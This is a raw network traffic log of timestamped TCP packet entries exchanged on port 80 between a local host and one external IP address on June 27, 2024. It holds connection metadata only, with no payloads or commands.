Jun 27, 2024 19:25:55.249598026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249608994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249623060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249630928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249646902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249659061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249670029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249671936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249701023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249702930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249706984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249739885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249764919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249806881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249836922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249847889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249864101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249876976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249890089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249897957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249911070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249970913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249983072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249993086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250004053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250015020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250017881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.250027895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250039101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250040054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.250055075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.250076056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.250118971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250130892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250140905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250153065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250164032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250169039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.250186920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.250190973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.250196934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.250221014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.538178921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.543382883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:56.253196001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:56.253288031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:56.335277081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:56.341289997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:57.048557043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:57.048675060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:57.651259899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:57.656797886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.360183954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.360423088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.680300951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.685105085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.856827974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.856853008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.856872082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.856889009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.856904030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.856920004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.856915951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.856986046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.856986046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.857039928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.857055902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.857070923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.857085943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.857088089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.857116938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.857135057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.857136011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.857150078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.857172966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.857181072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.857208967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.857208967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939702988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939722061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939754963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939779043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939795971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939795017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939819098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939836025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939853907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939853907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939860106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939878941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939887047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939887047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939893961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939908981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939910889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939928055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939928055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939944029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939954042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939954042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939960957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939977884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939992905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.939996958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939996958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.939996958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940011024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940021992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940028906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940048933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940048933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940068960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940490961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940526962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940534115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940541983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940558910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940571070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940574884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940592051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940601110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940601110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940608978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940622091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940634966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:58.940646887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940646887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:58.940670967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021430016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021445990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021461964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021518946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021558046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021578074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021604061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021620035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021631956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021636009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021677971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021677971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021677971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021682024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021697998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021719933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021732092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021732092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021764040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021838903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021893024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.021897078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.021945953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022011042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022061110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022084951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022102118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022140980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022140980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022192001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022207022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022222042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022237062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022242069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022253990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022264004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022284985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022294998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022305012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022346020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022382975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022397995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022412062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022428036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022429943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022454977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022454977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022488117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022521973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022543907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022558928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022572041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022598028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022598982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022625923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022640944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022655964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022694111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022694111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022743940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022758007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022773027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022785902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022790909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022810936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022830009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022842884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022855997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022869110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022887945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022893906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022907972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022911072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022923946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.022933006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022958994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022958994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.022981882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023004055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023029089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023032904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023051977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023061991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023091078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023091078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023175001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023226976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023233891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023250103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023267984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023284912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023319960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023319960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023325920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023341894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023399115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023399115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023437023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023452044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023466110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023480892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023487091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023521900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023521900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023521900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023550034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023586988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023598909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023616076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023629904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.023652077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.023685932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110065937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110136986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110141993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110152960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110179901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110181093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110198975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110203981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110214949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110222101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110240936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110260010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110354900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110369921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110384941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110399961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110405922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110415936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110429049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110445976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110466957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110467911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110543966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110598087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110611916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110629082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110644102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110649109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110661030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110671043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110677958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110692978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110697985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110712051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110723972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110734940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110734940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110769987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.110965014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.110989094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111004114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111016989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111018896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111036062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111047029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111047983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111053944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111068010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111073017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111089945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111093044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111093998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111104965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111119032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111119032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111121893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111139059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111154079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111170053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111175060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111175060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111186981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.111196041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111216068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.111234903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116336107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116401911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116430998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116446972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116498947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116509914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116524935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116539001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116554022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116554976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116579056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116580009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116624117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116624117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116674900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116786957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116801977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116816044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116832018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116837025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116847038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116858959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116858959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116866112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.116909981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116909981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116909981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.116949081 CEST	80	49705	85.28.47.4	192.168.2.5
